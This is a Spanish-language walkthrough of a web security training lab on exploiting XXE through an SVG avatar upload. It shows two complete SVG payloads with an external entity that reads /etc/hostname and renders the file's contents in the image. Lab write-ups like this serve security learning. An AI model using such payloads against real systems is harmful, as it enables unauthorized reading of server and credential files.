Skip to content

20251117145909.png

Lab: Exploiting XXE via image file upload

En el sitio web podemos observar que tenemos un apartado para ver los post 20251117150004.png

Y también agregar un post con una imagen como avatar.

20251117150018.png

Al tratar de subir un archivo .png observamos este es muy grande, por lo que buscamos una imagen .svg que normalmente no pesan mucho.

20251117150116.png

Esta imagen si podemos subirla.

20251117150317.png

Al ser svg, se podría inyectar código malicioso y obtener el contenido de ciertos archivos.

20251117150342.png

Usaremos los siguientes payloads para leer el archivo /etc/hostname

c
<?xml version="1.0" standalone="yes"?>

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
c
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg">
<text x="0" y="20">&xxe;</text>
</svg>

Al enviar la solicitud podemos observar que este se sube correctamente.

20251117151051.png

Y además el contenido del archivo esta en la imagen.

20251117151114.png

Aquí podemos ver el contenido del /etc/hostname

20251117151153.png